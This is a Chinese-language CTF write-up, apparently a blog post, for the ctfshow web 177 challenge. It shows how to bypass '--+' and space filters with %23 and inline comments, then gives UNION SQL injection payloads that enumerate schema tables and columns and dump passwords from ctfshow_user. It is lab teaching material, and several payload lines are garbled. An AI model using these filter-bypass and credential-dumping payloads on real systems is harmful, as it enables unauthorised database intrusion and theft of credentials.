ctf show web 177

这题跟176类似我们先正常进行SQL注入

在payload为1'时可正常回显但是当payload加上--+注释时却不会回显,所以我们猜测过滤了--+,我们用%23代替试试看

发现此时正常然后继续正常的SQL注入操作

在测试字段数时又发生了没有回显的情况我们猜测现在除了对--+的过滤外还有别的过滤,通关尝试发现是对空格进行了过滤,我们使用内联注释过滤

很多 Web 应用的 WAF(Web 应用防火墙)或后端代码会使用简单的正则表达式或黑名单来过滤敏感关键字(例如 SELECT、UNION、WHERE、空格等)。内联注释绕过的原理主要利用了以下两点:

替换空格:数据库解释器会将连续的注释块视为分隔符,从而可以用注释代替空格。

数据库解析特性:部分数据库(尤其是 MySQL)对内联注释有特殊的扩展语法,允许注释内部的代码被正常执行,但防护规则可能会漏报。

  1. 常见使用场景

(1) 绕过空格过滤

当后端代码过滤了空格、%20 或 + 时,可以使用内联注释 // 代替空格
我们尝试使用/
/来绕过

发现字段数为3

我们开始构造payload:-1'//union/ /select/**/1,database(),3%23

-1'union//select/ /1,table_name,3//from/ /information_schema.tables//where/ /table_schema=database()%23

-1'union//select/ /1,column_name,3//from/ /information_schema.columns//where//table_name='ctfshow_user'%23

-1'union//select/ /1,'hack',password//from//ctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

相关推荐
YLCHUP4 小时前
【思维&图论建模】题解:债权(debt)_图论_建模_思路转化_思维题目_C++算法竞赛
c++·笔记·算法·数学建模·贪心算法·深度优先·图论
Agent世界6 小时前
用 CDP 做发布自动化:四道机器闸门与产物验收
前端·javascript
FungLeo6 小时前
成为全栈·Vue 管理后台篇·编辑器图片上传:从文件选择到文章附件关联
前端·vue.js·编辑器·markdown·文件上传·formdata·附件管理
某哈压力大6 小时前
SSH 突然 Connection reset?不是密钥坏了,是 OpenSSL 把 sshd 干趴了
前端·node.js·命令行
程序员大阳6 小时前
副队长ES6+教程(3)--解构赋值
前端·javascript·es6·赋值·解构
旖旎夜光6 小时前
【C++ 基础入门】C++11 新特性(中):右值引用、移动语义与完美转发
开发语言·c++·笔记·学习
神膘护体小月半6 小时前
css - 元素背景图由 hover 触发,初次加载时闪动的解决办法
前端·javascript·css
程序员大阳7 小时前
副队长ES6+教程(2)--let 与 const
前端·javascript·es6·const·let·var
deli0077 小时前
写满 200GB 后 SSD 为什么掉到 95MB/s?SLC 缓存模型实测
前端
曦樂~8 小时前
【Web Development】03JavaScript 基础和事件
开发语言·前端·javascript